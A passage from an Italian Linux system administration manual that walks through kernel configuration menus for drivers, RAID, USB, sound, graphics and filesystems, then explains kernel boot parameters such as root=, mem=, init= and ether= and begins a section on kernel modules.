<M>   Promise SATA TX2/TX4 support
<M>   Promise SATA SX4 support
<M>   Silicon Image SATA support
<M>   Silicon Image 3124/3132 SATA support
<M>   SiS 964/965/966/180 SATA support
<M>   ULi Electronics SATA support
<M>   VIA SATA support
<M>   VITESSE VSC-7174 / INTEL 31244 SATA support
<M>   Initio 162x SATA support (HIGHLY EXPERIMENTAL)
<M>   ALi PATA support (Experimental)
<M>   AMD/NVidia PATA support
<M>   ARTOP 6210/6260 PATA support (Experimental)
<M>   ATI PATA support (Experimental)
<M>   CMD640 PCI PATA support (Very Experimental)
<M>   CMD64x PATA support (Very Experimental)
<M>   CS5510/5520 PATA support
<M>   CS5530 PATA support (Experimental)
<M>   CS5535 PATA support (Experimental)
<M>   Cypress CY82C693 PATA support (Very Experimental)
<M>   EFAR SLC90E66 support
<M>   Generic ATA support
<M>   HPT 366/368 PATA support (Experimental)
<M>   HPT 370/370A/371/372/374/302 PATA support (Experimental)
<M>   HPT 372N/302N PATA support (Very Experimental)
<M>   HPT 343/363 PATA support (Experimental)
<M>   ISA Plug and Play PATA support (Experimental)
<M>   IT8211/2 PATA support
<M>   IT8213 PATA support (Experimental)
<M>   JMicron PATA support
<M>   Legacy ISA PATA support (Experimental)
<M>   Compaq Triflex PATA support
<M>   Marvell PATA support via legacy mode
<M>   Intel PATA MPIIX support
<M>   Intel PATA old PIIX support
<M>   NETCELL Revolution RAID support
<M>   Nat Semi NS87410 PATA support (Experimental)
<M>   OPTI621/6215 PATA support (Very Experimental)
<M>   OPTI FireStar PATA support (Very Experimental)
<M>   PCMCIA PATA support
<M>   Older Promise PATA controller support (Experimental)
<M>   QDI VLB PATA support
<M>   RADISYS 82600 PATA support (Very Experimental)
<M>   PC Tech RZ1000 PATA support
<M>   SC1200 PATA support (Very Experimental)
<M>   SERVERWORKS OSB4/CSB5/CSB6/HT1000 PATA support
```

```
<M>   Promise PATA 2027x support
<M>   CMD / Silicon Image 680 PATA support
---   SiS PATA support (Experimental)
<M>   VIA PATA support
<M>   Winbond SL82C105 PATA support
<M>   Winbond W83759A VLB PATA support (Experimental)
```

8.3.14 Device drivers, multi-device support

La gestione software di più unità di memorizzazione in modo combinato richiede la selezione di un gruppo speciale di opzioni. Può trattarsi di dischi o partizioni ridondanti come forma di protezione dalle perdite di dati, oppure può essere un modo per fondere assieme più partizioni in una partizione logica più grande. Se c'è la possibilità, conviene attivare almeno le funzionalità necessarie a gestire il livello RAID 1. Si veda eventualmente la sezione 21.10.

```
[*] Multiple devices driver support (RAID and LVM)
<*>   RAID support
<M>     Linear (append) mode
<M>     RAID-0 (striping) mode
<M>     RAID-1 (mirroring) mode
<M>     RAID-10 (mirrored striping) mode (EXPERIMENTAL)
<M>     RAID-4/RAID-5/RAID-6 mode
[*]       Support adding drives to a raid-5 array
<M>     Multipath I/O support
<M>     Faulty test module for MD
<M>   Device mapper support
[ ]     Device mapper debugging support
<M>     Crypt target support
<M>     Snapshot target (EXPERIMENTAL)
<M>     Mirror target (EXPERIMENTAL)
<M>     Zero target (EXPERIMENTAL)
<M>     Multipath target (EXPERIMENTAL)
<M>       EMC CX/AX multipath support (EXPERIMENTAL)
< >     I/O delaying target (EXPERIMENTAL)
```

8.3.15 Device drivers, network device support

L'utilizzo delle funzionalità di rete richiede la selezione della gestione delle interfacce di rete relative.

```
[*] Network device support
<M>   Intermediate Functional Block support
<*>   Dummy net driver support
<M>   Bonding driver support
<M>   EQL (serial line load balancing) support
<M>   Universal TUN/TAP device driver support
```

```
<M>   General Instruments Surfboard 1000
<M>   ARCnet support  --->
<M>   PHY Device support and infrastructure  --->
      Ethernet (10 or 100Mbit)  --->
[*]   Ethernet (1000 Mbit)  --->
[*]   Ethernet (10000 Mbit)  --->
[*]   Token Ring driver support  --->
      Wireless LAN  --->
      USB Network Adapters  --->
[*]   PCMCIA network device support  --->
[*]   Wan interfaces support  --->
[*]   ATM drivers  --->
[*]   FDDI driver support
<M>     Digital DEFTA/DEFEA/DEFPA adapter support
[ ]       Use MMIO instead of PIO
<M>     SysKonnect FDDI PCI support
[*]   HIPPI driver support (EXPERIMENTAL)
<M>     Essential RoadRunner HIPPI PCI adapter support (EXPERIMENTAL)
[ ]       Use large TX/RX rings (EXPERIMENTAL)
<M>   PLIP (parallel port) support
<M>   PPP (point-to-point protocol) support
[*]     PPP multilink support (EXPERIMENTAL)
[*]     PPP filtering
<M>     PPP support for async serial ports
<M>     PPP support for sync tty ports
<M>     PPP Deflate compression
<M>     PPP BSD-Compress compression
<M>     PPP MPPE compression (encryption) (EXPERIMENTAL)
<M>     PPP over Ethernet (EXPERIMENTAL)
<M>     PPP over ATM
<M>   SLIP (serial line) support
[*]     CSLIP compressed headers
[*]   Keepalive and linefill
[*]   Six bit SLIP encapsulation
[*]   Fibre Channel driver support
<M>   Traffic Shaper (OBSOLETE)
<M>   Network console logging support (EXPERIMENTAL)
[ ] Netpoll traffic trapping
```

8.3.16 Device drivers, input device support

I dispositivi per l’inserimento dati richiedono la selezione di una serie di opzioni che fanno capo a questo menù:

```
--- Generic input layer (needed for keyboard, mouse, ...)
<M>   Support for memoryless force-feedback devices
< >   Polled input device skeleton
```

```
---   Userland interfaces
---   Mouse interface
[*]     Provide legacy /dev/psaux device
(1024)  Horizontal screen resolution
(768)   Vertical screen resolution
<M>   Joystick interface
<M>   Touchscreen interface
(240)   Horizontal screen resolution
(320)   Vertical screen resolution
<M>   Event interface
< >   Event debugging
---   Input Device Drivers
---   Keyboards  --->
[*]   Mice  --->
[*]   Joysticks/Gamepads  --->
[*]   Tablets  --->
[*]   Touchscreens  --->
[*]   Miscellaneous devices  --->
    Hardware I/O ports  --->
```

8.3.17 Device drivers, character devices

Un dispositivo a caratteri è quello che utilizza una comunicazione byte per byte e si contrappone a quello a blocchi con cui la comunicazione avviene attraverso l'uso di blocchi di byte di dimensione fissa.

```
--- Virtual terminal
[ ]   Support for binding and unbinding console drivers
[ ] Non-standard serial port support
    Serial drivers  --->
[ ] Legacy (BSD) PTY support
<M> Parallel printer support
[ ]   Support for console on line printer
<M> Support for user-space parallel port device drivers
<M> Texas Instruments parallel link cable support
    IPMI  --->
[ ] Watchdog Timer Support  --->
<*> Hardware Random Number Generator Core support
<M>   Intel HW Random Number Generator support
<M>   AMD HW Random Number Generator support
<M>   AMD Geode HW Random Number Generator support
<M>   VIA HW Random Number Generator support
<M> /dev/nvram support
<M> Enhanced Real Time Clock Support
<M> Generic /dev/rtc emulation
[*]   Extended RTC operation
<M> Double Talk PC internal speech card support
```

```
<M> Siemens R3964 line discipline
<M> Applicom intelligent fieldbus card support
<M> Sony Vaio Programmable I/O Control Device support (EXPERIMENTAL)
<M> /dev/agpgart (AGP Support)
<M>   ALI chipset support
<M>   ATI chipset support
<M>   AMD Irongate, 761, and 762 chipset support
<M>   AMD Opteron/Athlon64 on-CPU GART support
---   Intel 440LX/BX/GX, I8xx and E7x05 chipset support
<M>   NVIDIA nForce/nForce2 chipset support
<M>   SiS chipset support
<M>   Serverworks LE/HE chipset support
<M>   VIA chipset support
<M>   Transmeta Efficeon support
<M> Direct Rendering Manager (XFree86 4.1.0 and higher DRI support)
<M>   3dfx Banshee/Voodoo3+
<M>   ATI Rage 128
<M>   ATI Radeon
<M>   Intel I810
<M>   Intel 830M, 845G, 852GM, 855GM, 865G
<M>     i830 driver
<M>     i915 driver
<M>   Matrox g200/g400
<M>   SiS video cards
<M>   Via unichrome video cards
<M>   Savage video cards
    PCMCIA character devices  --->
<M> ACP Modem (Mwave) support
<M> NatSemi SCx200 GPIO Support
<M> NatSemi PC8736x GPIO Support
<M> NatSemi Base GPIO Support
<M> AMD CS5535/CS5536 GPIO (Geode Companion Device)
<M> RAW driver (/dev/raw/rawN) (OBSOLETE)
(256) Maximum number of RAW devices to support (1-8192)
[*] HPET - High Precision Event Timer
[ ]   HPET Control RTC IRQ
[*]   Allow mmap of HPET
<M> Hangcheck timer
    TPM devices  --->
<M> Telecom clock driver for ATCA SBC
```

8.3.18 Device drivers, graphic support

Questa sezione riguarda la gestione della console, dal punto di vista grafico:

```
--- Backlight & LCD device support  --->
<M> Frontpath ProGear Backlight Driver
< > Intel Carillo Ranch Backlight Driver
    Display device support  --->
<*> Support for frame buffer devices
[*]   Enable firmware EDID
---   Enable Video Mode Handling Helpers
---   Enable Tile Blitting Support
---   Frame buffer hardware drivers
<M>   Cirrus Logic support
<M>   Permedia2 support
[*]     enable FIFO disconnect feature
<M>   CyberPro 2000/2010/5000 support
<M>   Arc Monochrome LCD board support
[ ]   Asiliant (Chips) 69000 display support
[ ]   IMS Twin Turbo display support
<M>   VGA 16-color graphics support
[*]   VESA VGA graphics support
[ ]   Intel-based Macintosh Framebuffer Support
<M>   Hecuba board support
<M>   Hercules mono graphics support
[ ]     Hercules mono Acceleration functions (EXPERIMENTAL)
<M>   Epson S1D13XXX framebuffer support
<M>   nVidia Framebuffer Support
[*]     Enable DDC Support
[ ]     Lots of debug output
[*]     Support for backlight control
<M>   nVidia Riva support
[ ]     Enable DDC Support
[ ]     Lots of debug output
[*]     Support for backlight control
<M>   Intel 810/815 support (EXPERIMENTAL)
[ ]     use VESA Generalized Timing Formula
<M>   Intel LE80578 (Vermilion) support
<M>     Intel Carillo Ranch support
<M>   Intel 830M/845G/852GM/855GM/865G/915G/945G support (EXPERIMENTAL)
[ ]     Intel driver Debug Messages
[*]     DDC/I2C for Intel framebuffer support
<M>   Matrox acceleration
[*]     Millennium I/II support
[*]     Mystique support
[*]     G100/G200/G400/G450/G550 support
<M>     Matrox I2C support
<M>       G400 second head support
[*]     Multihead support
```

```
<M>   ATI Radeon display support
[*]     DDC/I2C for ATI Radeon support
[*]     Support for backlight control
[ ]     Lots of debug output from Radeon driver
<M>   ATI Rage128 display support
[*]     Support for backlight control
<M>   ATI Mach64 display support
[*]     Mach64 CT/VT/GT/LT (incl. 3D RAGE) support
[*]       Mach64 generic LCD support (EXPERIMENTAL)
[*]     Mach64 GX support
[*]     Support for backlight control
<M>   S3 Trio/Virge support
<M>   S3 Savage support
[*]     Enable DDC2 Support
[ ]     Enable Console Acceleration
<M>   SiS/XGI display support
[*]     SiS 300 series support
[*]     SiS 315/330/340 series and XGI support
<M>   NeoMagic display support
<M>   IMG Kyro support
<M>   3Dfx Banshee/Voodoo3 display support
[ ]     3Dfx Banshee/Voodoo3 Acceleration functions (EXPERIMENTAL)
<M>   3Dfx Voodoo Graphics (sst1) support
<M>   VIA VT8623 support
<M>   Cyberblade/i1 support
<M>   Trident support
[ ]     Trident Acceleration functions (EXPERIMENTAL)
<M>   ARK 2000PV support
<M>   Permedia3 support (EXPERIMENTAL)
[*]   AMD Geode family framebuffer support (EXPERIMENTAL)
<M>     AMD Geode GX framebuffer support (EXPERIMENTAL)
[ ]       Manually specify the Geode GX framebuffer size
<M>     AMD Geode GX1 framebuffer support (EXPERIMENTAL)
<M> Silicon Motion SM501 framebuffer support
<M> Virtual Frame Buffer support (ONLY FOR TESTING!)
    Console display driver support  --->
[ ] Bootup logo  --->
```

Può essere importante verificare la configurazione contenuta nel menù a cui si accede dalla voce `Console display driver support`:

```
--- VGA text console
[ ]   Enable Scrollback Buffer in System RAM
---   Video mode selection support
<M> MDA text console (dual-headed) (EXPERIMENTAL)
<*> Framebuffer Console support
[*]   Framebuffer Console Rotation
[ ] Select compiled-in fonts
```

8.3.19 Device drivers, sound

Questo gruppo di opzioni consente di gestire le funzionalità audio, specificando l'uso di una scheda audio particolare.

```
<*> Sound card support
    Advanced Linux Sound Architecture  --->
    Open Sound System  --->
```

Attraverso la voce `Advanced Linux Sound Architecture` si raggiunge un menù specifico; l'altro menù, riferito alla voce `Open Sound System`, non è più consigliato.

```
<M> Advanced Linux Sound Architecture
<M>   Sequencer support
<M>     Sequencer dummy client
<M>   OSS Mixer API
<M>   OSS PCM (digital audio) API
[*]     OSS PCM (digital audio) API - Include plugin system
[*]   OSS Sequencer API
<M>   RTC Timer support
[*]     Use RTC as default sequencer timer
[ ]   Dynamic device file minor numbers
[*]   Support old ALSA API
[*]   Verbose procfs contents
[ ]   Verbose printk
[ ]   Debug
      Generic devices  --->
      ISA devices  --->
      PCI devices  --->
      USB devices  --->
      PCMCIA devices  --->
      System on Chip audio support  --->
```

8.3.20 USB support

Questo gruppo di opzioni consente la gestione di adattatori USB e delle unità periferiche relative. In generale conviene prevedere l'uso di tutti i tipi di adattatori USB, assieme all'accesso a memorie di massa (dischi esterni), che sono componenti abbastanza comuni.

```
<M> Support for Host-side USB
[ ]   USB verbose debug messages
---   Miscellaneous USB options
[*]   USB device filesystem
[*]   USB device class-devices (DEPRECATED)
[ ]   Dynamic USB minor allocation (EXPERIMENTAL)
[ ]   USB selective suspend/resume and wakeup (EXPERIMENTAL)
---   USB Host Controller Drivers
<M>   EHCI HCD (USB 2.0) support
[*]     Full speed ISO transactions (EXPERIMENTAL)
[*]     Root Hub Transaction Translators (EXPERIMENTAL)
[ ]     Improved Transaction Translator scheduling (EXPERIMENTAL)
<M>   ISP116X HCD support
<M>   OHCI HCD support
<M>   UHCI HCD (most Intel and VIA) support
<M>   Elan U132 Adapter Host Controller
<M>   SL811HS HCD support
<M>     CF/PCMCIA support for SL811HS HCD
---   USB Device Class drivers
<M>   USB Modem (CDC ACM) support
<M>   USB Printer support
--- NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
--- may also be needed; see USB_STORAGE Help for more information
<M> USB Mass Storage support
[ ]   USB Mass Storage verbose debug
[*]   Datafab Compact Flash Reader support (EXPERIMENTAL)
[*]   Freecom USB/ATAPI Bridge support
[*]   ISD-200 USB/ATA Bridge support
[*]   Microtech/ZiO! CompactFlash/SmartMedia support
[*]   USBAT/USBAT02-based storage support (EXPERIMENTAL)
[*]   SanDisk SDDR-09 (and other SmartMedia) support (EXPERIMENTAL)
[*]   SanDisk SDDR-55 SmartMedia support (EXPERIMENTAL)
[*]   Lexar Jumpshot Compact Flash Reader (EXPERIMENTAL)
[*]   Olympus MAUSB-10/Fuji DPC-R1 support (EXPERIMENTAL)
[*]   Support for Rio Karma music player
[ ] The shared table of common (or usual) storage devices
--- USB Imaging devices
<M> USB Mustek MDC800 Digital Camera support (EXPERIMENTAL)
<M> Microtek X6USB scanner support
[*] USB Monitor
--- USB port drivers
<M> USS720 parport driver
    USB Serial Converter support  --->
```

```
--- USB Miscellaneous drivers
<M> EMI 6|2m USB Audio interface support
<M> EMI 2|6 USB Audio interface support
<M> ADU devices from Ontrak Control Systems (EXPERIMENTAL)
<M> USB Auerswald ISDN support (EXPERIMENTAL)
<M> USB Diamond Rio500 support (EXPERIMENTAL)
<M> USB Lego Infrared Tower support (EXPERIMENTAL)
<M> USB LCD driver support
<M> USB BlackBerry recharge support
<M> USB LED driver support
<M> Cypress CY7C63xxx USB driver support
<M> Cypress USB thermometer driver support
<M> USB Phidgets drivers
<M>   USB PhidgetInterfaceKit support
<M>   USB PhidgetMotorControl support
<M>   USB PhidgetServo support
<M> Siemens ID USB Mouse Fingerprint sensor support
<M> Elan PCMCIA CardBus Adapter USB Client
<M> Apple Cinema Display support
<M> USB 2.0 SVGA dongle support (Net2280/SiS315)
[*]   Text console and mode switching support
<M> USB LD driver
<M> PlayStation 2 Trance Vibrator driver support
<M> IO Warrior driver support
<M> USB testing driver (DEVELOPMENT)
    USB DSL modem support  --->
    USB Gadget Support  --->
```

8.3.21 Filesystems

Attraverso questa sezione si definiscono i tipi di file system che si vogliono gestire. In particolare, anche i file system virtuali, come '`/proc/`' e '`/dev/pty/`', vengono definiti qui.

Il file system standard dei sistemi GNU/Linux è il tipo Second-extended, ovvero Ext2, Ext3 o Ext4. La gestione di questo tipo di file system deve essere inclusa nel kernel, a meno che si stia cercando di produrre del codice specifico per un'applicazione particolare.

In questo gruppo di opzioni trovano posto anche quelle necessarie alla condivisione attraverso la rete, per esempio con il protocollo NFS.

È interessante osservare che è necessario specificare anche i sistemi di partizionamento dei dischi. In generale è indispensabile la gestione delle partizioni tipiche dei sistemi Dos.

Infine, è importante anche tenere in considerazione il tipo di codifica che si vuole poter utilizzare nell'ambito del file system. La codifica in questione riguarda il modo di rappresentare i nomi dei file, che potrebbe richiedere estensioni particolari. In generale viene abilitata la codifica UTF-8.

```
<M> Second extended fs support
[*]   Ext2 extended attributes
[*]     Ext2 POSIX Access Control Lists
[*]     Ext2 Security Labels
[ ]   Ext2 execute in place support
<M> Ext3 journalling file system support
[*]   Ext3 extended attributes
[*]     Ext3 POSIX Access Control Lists
[*]     Ext3 Security Labels
<M> Ext4dev/ext4 extended fs support development (EXPERIMENTAL)
[*]   Ext4dev extended attributes
[*]     Ext4dev POSIX Access Control Lists
[*]     Ext4dev Security Labels
[*] JBD (ext3) debugging support
[ ] JBD2 (ext4dev/ext4) debugging support
<M> Reiserfs support
[ ]   Enable reiserfs debug mode
[ ]   Stats in /proc/fs/reiserfs
[*]   ReiserFS extended attributes
[*]     ReiserFS POSIX Access Control Lists
[*]     ReiserFS Security Labels
<M> JFS filesystem support
[*]   JFS POSIX Access Control Lists
[*]   JFS Security Labels
[ ]   JFS debugging
[ ]   JFS statistics
<M> XFS filesystem support
[*]   XFS Quota support
[*]   XFS Security Label support
[*]   XFS POSIX ACL support
[*]   XFS Realtime subvolume support
<M> GFS2 file system support
<M>   GFS2 "nolock" locking module
<M>   GFS2 DLM locking module
<M> OCFS2 file system support
[*]   OCFS2 logging support
<M> Minix fs support
<M> ROM file system support
[*] Inotify file change notification support
[*]   Inotify support for userspace
[*] Quota support
<M>   Old quota format support
<M>   Quota format v2 support
<M> Kernel automounter support
<M> Kernel automounter version 4 support (also supports v3)
<M> Filesystem in Userspace support
    CD-ROM/DVD Filesystems  --->
```

```
    DOS/FAT/NT Filesystems  --->
    Pseudo filesystems  --->
    Miscellaneous filesystems  --->
    Network File Systems  --->
    Partition Types  --->
    Native Language Support  --->
    Distributed Lock Manager  --->
```

La voce `Pseudo filesystems` consente di accedere alle funzioni relative a file system virtuali:

```
--- /proc file system support
[*]   /proc/kcore support
[*] Virtual memory file system support (former shm fs)
[ ]   Tmpfs POSIX Access Control Lists
[ ] HugeTLB file system support
<M> Userspace-driven configuration filesystem (EXPERIMENTAL)
```

8.3.22 Kernel hacking

Attraverso questa sezione si possono attivare alcune funzionalità, utili generalmente per chi partecipa allo sviluppo del kernel Linux. C'è comunque almeno una voce che può interessare alla maggior parte degli utenti.

```
[ ] Show timing information on printks
[ ] Enable __must_check logic
[*] Magic SysRq key
[ ] Enable unused/obsolete exported symbols
[ ] Debug Filesystem
[ ] Run 'make headers_check' when building vmlinux
[ ] Kernel debugging
```

La voce `Magic SysRq key`, se attivata, consente di disporre sempre di un accesso privilegiato ad alcune funzioni attraverso una console, indipendentemente dal fatto che su questa sia attiva o meno una sessione di lavoro. Queste funzioni si ottengono con delle combinazioni di tasti, costituite da [*R_Sist AltGr x*], dove *x* è una lettera che cambia in funzione dell'operazione che si vuole compiere. Il tasto [*R_Sist*] corrisponde a [*SysRq*] nelle tastiere per la lingua inglese, da cui viene il nome della voce di menù. Si osservi anche che il tasto [*R_Sist*] o [*SysRq*], coincide con il tasto [*Stampa*] o [*Print_Screen*].

8.4 Come fare per configurare correttamente il kernel che si vuole compilare

Il kernel Linux è molto dinamico e il suo sviluppo prende spesso delle strade imprevedibili. Questa vitalità è molto importante per il futuro del software libero; senza di essa non ci sarebbe modo di usare domani le nuove tecnologie proposte. In questo senso, diventa difficile dare delle indicazioni precise e durature sul modo corretto di configurare il kernel prima della compilazione.

L'unica documentazione sicura sotto questo aspetto è quella che si può consultare in modo contestuale quando si utilizza il comando '**`make menuconfig`**' (o altro equivalente). Eventualmente, può essere utile sapere che le informazioni che si leggono lì si trovano in vari file '`Kconfig`' collocati nelle directory contenenti il codice relativo al contesto a cui si riferiscono. Segue un estratto di uno di questi file '`Kconfig`', precisamente si tratta di '`drivers/usb/Kconfig`':

```
#
# USB device configuration
#

menu "USB support"

# ARM SA1111 chips have a non-PCI based "OHCI-compatible" USB host interface.
config USB
        tristate "Support for USB"
        depends on PCI || SA1111
        ---help---
          Universal Serial Bus (USB) is a specification for a serial bus
          subsystem which offers higher speeds and more features than the
          traditional PC serial port.  The bus supplies power to peripherals
          and allows for hot swapping.  Up to 127 USB peripherals can be
          connected to a single USB port in a tree structure.  The USB port is
          the root of the tree, the peripherals are the leaves and the inner
          nodes are special USB devices called hubs.  Many newer PC's have USB
          ports and newer peripherals such as scanners, keyboards, mice,
          modems, and printers support the USB protocol and can be connected
          to the PC via those ports.

          Say Y here if your computer has a USB port and you want to use USB
          devices.  You then need to say Y to at least one of "UHCI HCD support"
          or "OHCI HCD support" below (the type of interface that the USB hardware
          in your computer provides to the operating system) and then choose
          from amongst the drivers for USB peripherals.  You may want to check
          out the information provided in <file:Documentation/usb/> and
          especially the links given in <file:Documentation/usb/usb-help.txt>.

          If you have a new USB 2.0 High Speed system, you should also choose
          "EHCI HCD (USB 2.0) support" as well as at least one of UHCI or OHCI.

          It doesn't normally hurt to select them all if you are not certain.

          To compile this driver as a module, choose M here: the
          module will be called usbcore.
```

Quando si parte da zero, è sufficiente accertarsi di eliminare il file '`.config`', che comunque viene eliminato con il comando '**`make mrproper`**'. In questo modo, il programma che guida alla configurazione del kernel offre già le risposte più ovvie alle domande che fa. Naturalmente è sempre necessario leggere le prime volte il testo delle spiegazioni disponibili, fino a che si raggiunge una dimestichezza adeguata al tipo di esigenze che si hanno. Eventualmente, si può generare una prima configurazione predefinita con l'aiuto di '**`make defconfig`**', da modificare poi sulla base delle proprie esigenze.

Come la documentazione interna suggerisce spesso, nella directory '`Documentation/`' sono contenuti tanti file di testo con spiegazioni particolareggiate rispetto a problemi specifici della configurazione. A questo punto dovrebbe essere evidente che non si può configurare e compilare un kernel se non si conosce minimamente la lingua inglese.

Questo tipo di lavoro passa poi necessariamente per una lunga serie di tentativi falliti (avendo cura di conservare i file '`.config`', per poter ripartire almeno dall'ultima configurazione tentata). Tuttavia, il principiante non deve pensare di essersi messo involontariamente nei guai, perché queste difficoltà riguardano tutti, anche gli esperti, proprio perché la dinamicità nello sviluppo del kernel Linux porta continue novità.

8.5 Parametri di avvio del kernel Linux

Il kernel è in grado di ricevere opzioni in fase di avvio che possono servire per scopi differenti. In particolare, per gestire alcuni dispositivi è necessario informare il kernel sulle loro caratteristiche (tipicamente l'indirizzo di I/O e il livello di IRQ). Nel capitolo 6 è descritto il meccanismo attraverso cui si avvia il sistema e i vari modi di passare al kernel queste istruzioni particolari. Qui vengono mostrati solo alcuni dei parametri di avvio che possono essere utilizzati.

È importante tenere presente che gli indirizzi di I/O vanno espressi in esadecimale, nella forma 0x***nnn***, il livello di IRQ viene indicato in modo decimale e l'indirizzo di memoria condivisa viene espresso in esadecimale. Se non viene indicato diversamente, gli indirizzi di I/O e di memoria condivisa sono quelli di partenza.

8.5.1 File system principale (root)

Nel momento dell'avvio, il kernel deve conoscere alcune informazioni essenziali sul file system principale. Per prima cosa deve sapere dove si trova (quale disco e quale partizione), quindi deve sapere in che modo va innestato inizialmente (in sola lettura o anche in scrittura).

- Selezione del file system principale.

  ```
  root=dispositivo
  ```

  Permette di specificare un dispositivo differente da quello predefinito per innestare il file system principale. Il dispositivo può essere rappresentato nel modo consueto, per esempio '**`root=/dev/sda2`**', anche se in questa fase di avvio non esiste ancora un file system all'interno del quale cercare un tale file di dispositivo.

- Accesso iniziale in sola lettura.

  ```
  ro
  ```

  Permette di definire un accesso iniziale al file system principale in sola lettura. Questa è la condizione necessaria per poter eseguire un controllo dell'integrità del file system prima di passare alla gestione normale.

- Accesso iniziale in lettura e scrittura.

```
rw
```

Permette di definire un accesso iniziale al file system principale in lettura e scrittura.

8.5.2 Memoria

- Memoria RAM disponibile.

```
mem=dimensione
```

In caso di necessità, permette di definire la dimensione di memoria RAM disponibile effettivamente. Si può indicare un numero esadecimale nella forma 0x..., oppure un numero decimale normale, seguito eventualmente dalla lettera '**k**', che sta a indicare kibibyte (simbolo: «Kibyte»), oppure dalla lettera '**M**', che sta a indicare mebibyte (simbolo: «Mibyte»). Quando ci si trova nella necessità di indicare la memoria esistente occorre fare attenzione a non esagerare, soprattutto occorre controllare se una parte di questa, verso la fine, viene utilizzata dal firmware BIOS, perché in tal caso va specificata una dimensione inferiore.

- Caricamento del file system principale come disco RAM.

```
load_ramdisk={0|1}
```

Permette di definire se si vuole caricare il file system principale come disco RAM. '**load_ramdisk=1**' significa che si intende attivare un disco RAM, mentre assegnando il valore zero ciò non accade. Il valore predefinito è '**load_ramdisk=0**'.

8.5.3 Varie

- Programma Init.

```
init=programma_iniziale
```

Permette di definire il nome, completo di percorso, del programma che deve svolgere la funzione di «processo iniziale» (Init). Normalmente, il kernel provvede da solo a cercare '`/sbin/init`' e in alternativa '`/etc/init`'. Come ultima risorsa tenta di avviare '`/bin/sh`'. Se per qualunque motivo non funziona il programma Init standard, si può tentare di avviare il sistema facendo partire la shell al suo posto.

- Riavvio automatico quando si manifesta un *kernel panic*.

```
panic=secondi
```

Quando il kernel incontra un problema grave, si dice scherzosamente che si è verificato un *kernel panic*. In situazioni normali, il sistema si blocca in attesa di un intervento umano. Attraverso questa istruzione è possibile indicare al kernel di riavviare il sistema dopo un intervallo di tempo espresso in secondi. Il valore predefinito è zero, corrispondente a una durata infinita.

- Esclusione degli indirizzi di I/O.

```
reserve=indirizzo_i/o,estensione[,indirizzo_i/o,estensione]...
```

Permette di isolare una o più zone di indirizzi di I/O, all'interno delle quali il kernel non deve eseguire alcun tentativo di identificazione di componenti. Di solito, dopo un'istruzione del genere, si inseriscono le dichiarazioni esplicite dei dispositivi che ci sono effettivamente. Il primo valore, quello che esprime l'indirizzo, viene espresso attraverso una notazione esadecimale del tipo consueto (0x...), mentre il secondo è un numero decimale. L'esempio seguente mostra come riservare gli indirizzi di I/O da 300_{16} a 340_{16}:

```
reserve=0x300,64
```

- Disabilitazione del supporto APM.

```
apm=off
```

Quando il supporto per l'APM (*Advanced power management*) è inserito nel kernel e la sua gestione è incompatibile con l'hardware disponibile, per evitare il blocco del sistema è meglio disabilitare questa gestione.

- Controllo delle funzioni ACPI.

```
acpi=off|strict
```

Quando il supporto per l'ACPI (*Advanced configuration and power interface*) è inserito nel kernel e la sua gestione è incompatibile con l'hardware disponibile, per evitare il blocco del sistema è possibile disattivarlo con '**`acpi=off`**', oppure limitarlo in modo che sia attivo solo se l'hardware è perfettamente compatibile con '**`acpi=strict`**'. Se la CPU è composta da più nuclei, oppure se sono presenti più CPU, le funzionalità ACPI non possono essere disattivate del tutto.

- Controllo del bus PCI.

```
pci=noacpi
```

Quando il supporto per l'ACPI (*Advanced configuration and power interface*) è inserito nel kernel e la sua gestione è incompatibile con l'hardware disponibile, per evitare il blocco del sistema è possibile disattivarlo, per ciò che riguarda il bus PCI, con '**`pci=noacpi`**'. Esistono comunque altre opzioni per il controllo del bus PCI.

8.5.4 Interfacce di rete Ethernet

Le istruzioni di avvio riferite alle interfacce di rete Ethernet sono un po' strane e iniziano sempre con il parametro '**ether=**'. La sintassi generale è la seguente:

ether=***livello_irq*** , ***indirizzo_i/o*** [***extra1*** , [***extra2***...]] , ***nome***

In pratica, gli argomenti che identificano il livello di IRQ, l'indirizzo di I/O e il nome simbolico dell'interfaccia di rete sono sempre parte della sintassi, mentre altri argomenti nella parte centrale possono essere presenti in funzione del tipo di scheda.

- Adattatori compatibili con NE1000 e NE2000.

  ether=***livello_irq*** , ***indirizzo_i/o*** , ***nome***

  I valori che si vuole siano determinati automaticamente vanno lasciati a zero.

- Adattatore 3Com 3c503.

  ether=***livello_irq*** , ***indirizzo_i/o*** , 0 , ***ricetrasmettitore*** , ***nome***

  L'argomento indicato come ricetrasmettitore è un numero che rappresenta il tipo di connessione fisica scelta: 0=interno (BNC), 1=esterno (AUI).

Segue la descrizione di alcuni esempi.

- ```
  ether=11,0x300,eth0
  ```
  Scheda NE2000: indirizzo I/O 300_{16}, livello di IRQ 11.

- ```
  ether=11,0x300,eth0 ether=10,320,eth1
  ```
  Due schede NE2000: la prima configurata con indirizzo I/O 300_{16} e livello di IRQ 11, la seconda con indirizzo di I/O 320_{16} e livello di IRQ 10.

- ```
  ether=0,0,eth1
  ```
  Due schede NE2000 configurate in modo differente e non conflittuale, in grado di essere riconosciute se installate singolarmente. Si vuole ottenere l'autorilevamento della seconda scheda.

- ```
  ether=9,0x300,0,1,eth0
  ```
  Scheda 3c503: indirizzo di I/O 300_{16}, livello di IRQ 9, ricetrasmettitore esterno.

- ```
  ether=3,0,0,0,eth0
  ```
  Scheda 3c503: si vuole che venga rilevato automaticamente l'indirizzo di I/O, mentre il livello di IRQ è 3. Si utilizza il ricetrasmettitore interno.
  ```

8.6 Gestione dei moduli

I moduli del kernel sono porzioni di questo che possono essere caricate in memoria quando se ne presenta la necessità e scaricate subito dopo. I moduli del kernel Linux sono spesso quello che in altri sistemi viene definito *driver*. In generale, se si dispone di una distribuzione GNU/Linux organizzata con un kernel modulare, è consigliabile sfruttare quel kernel già predisposto, assieme ai suoi moduli.

Il minimo indispensabile per attivare e disattivare i moduli è costituito da due programmi di servizio specifici: '**`insmod`**' e '**`rmmod`**'. Il primo serve per caricare i moduli, il secondo per scaricarli. L'operazione di caricamento dei moduli deve essere fatta tenendo presente le eventuali dipendenze che ci possono essere. Per esempio, se il modulo «C» richiede la presenza del modulo «B», il quale a sua volta richiede la presenza del modulo «A», occorre caricare ordinatamente i moduli «A», «B» e «C». Nello stesso modo, lo scarico dei moduli può essere fatto solo se si rispettano le dipendenze. Nel caso appena descritto, per scaricare il modulo «A» occorre prima scaricare «C» e «B».

8.6.1 Dipendenza tra i moduli

